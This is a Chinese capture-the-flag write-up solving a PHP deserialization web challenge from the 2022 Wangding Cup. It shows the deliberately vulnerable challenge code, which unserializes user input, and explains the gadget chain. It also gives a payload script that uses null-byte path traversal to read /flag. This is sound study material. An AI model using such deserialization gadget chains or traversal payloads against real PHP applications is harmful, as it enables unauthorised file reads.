2022网鼎杯白虎组web(php反序列化)

2022网鼎杯白虎组web(php反序列化)

LMTEAM 1,472 2022-12-09

题目代码:

<?php

class abaaba{
    protected $DoNotGet;

    public function __get($name){
        $this->DoNotGet->$name = "two";
        return $this->DoNotGet->$name;
    }

    public function __toString(){
        return $this->Giveme;
    }
}

class Onemore{

    public $file;
    private $filename = "one";

    public function __construct(){
        $this->readfile("images/def.jpg");
    }

    public function readfile($f){
        $this->file = isset($f) ? $f : 'image'.$this->file;
        echo file_get_contents(safe($this->file));
    }

    public function __invoke(){
        return $this->filename->Giveme;
    }
}

class suhasuha{
    private $Giveme;
    public $action;

    public function __set($name, $value){
        $this->Giveme = ($this->action)();
        return $this->Giveme;
    }
}

class One{
    public $count;

    public function __construct(){
        $this->count = "one";
    }

    public function __destruct(){
        echo "try ".$this->count." again";
    }

}

function safe($path){
    $path = preg_replace("/.*\/\/.*/", "", $path);
    $path = preg_replace("/\..\..*/", "!", $path);
    $path = htmlentities($path);
    return strip_tags($path);
}

if(isset($_GET['game'])){
    unserialize($_GET['game']);
}
else{
    show_source(__FILE__);
}

源码分析

分析代码后考察的是php反序列化知识点,而在php反序列化中类名和类的成员变量都是可控的。那么类Onemore的file变量可控,就可以通过自定义函数中readfile中的file_get_contents函数来读取flag,那么如何触发readfile执行函数?

在类suhasuha中,__set魔术方法存在$this->Giveme = $this->action()的函数调用,而action是该类的成员变量(可控的),可以将Onemore::readfile函数传递给action就可以调用readfile函数。如何触发suhasuha类的__set方法?

在类abaaba的__get方法中存在this>DoNotGet>this->DoNotGet->name = “two”,对未定义的name赋值,而对一个未定义的属性进行赋值时会触发__set魔术方法,那么将DoNotGet赋值为new suhasuha(),就会触发该类的__set方法。如何触发类abaaba中的__get方法?同理类abaaba中的__toString方法中$this->Giveme访问了未定义的属性,则会触发类abaaba的__get方法。

而触发__toString方法需要将一个类作为字符串使用,可以找到在类One中析构方法__destruct存在echo “try “.$this->count.” again”拼接字符串行为,那么将count赋值为new abaaba(),那么此处就会触发类abaaba中的tostring方法。

综上所述,正向攻击设置new One()–>count=new abaaba(),new abaaba()–>DoNotGet=new suhasuha(),new suhasuha()->action = [new Onemore(),”readfile”];则攻击执行流程为:new abaaba()->tostring->get–new suhasuha()->__set->new Onemore()->readfile。

最后注意safe函数用%00绕过。

解题payload

<?php
class abaaba{
    protected $DoNotGet;
    public function __get($name){
        $this->DoNotGet->$name = "two";
        return $this->DoNotGet->$name;
    }

    public function __toString(){
        return $this->Giveme;
    }

    public function __construct($obj){
    	$this->DoNotGet = $obj;
    }
}
class Onemore{
    public $file;
    private $filename;

    public function __construct(){
        $this->readfile("images/def.jpg");
    }

    public function readfile($f){
        $this->file = isset($f) ? $f : 'image'.$this->file;
        echo file_get_contents(safe($this->file));
    }

    public function __invoke(){
        return $this->filename->Giveme;
    }

}
class suhasuha{
    private $Giveme;
    public $action;

    public function __set($name, $value){
        $this->Giveme = ($this->action)();
        return $this->Giveme;
    }

}
class One{
    public $count;

    public function __construct(){
        $this->count = "one";
    }

    public function __destruct(){
        echo "try ".$this->count." again";
    }
}
function safe($path){
    $path = preg_replace("/.*\/\/.*/", "", $path);
    $path = preg_replace("/\..\..*/", "!", $path);
    $path = htmlentities($path);
    return strip_tags($path);
}

$one = new One();
$suhasuha = new suhasuha();
$one->count = new abaaba($suhasuha);
$Onemore = new Onemore();
$Onemore->file = urldecode("/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/flag");
$suhasuha->action = [$Onemore,"readfile"];

echo urlencode(serialize($one));

环境搭建

用php7.4搭好环境,访问payload获取序列化后的字符串,再访问题目源码将字符串传给game参数。
unser_
flag_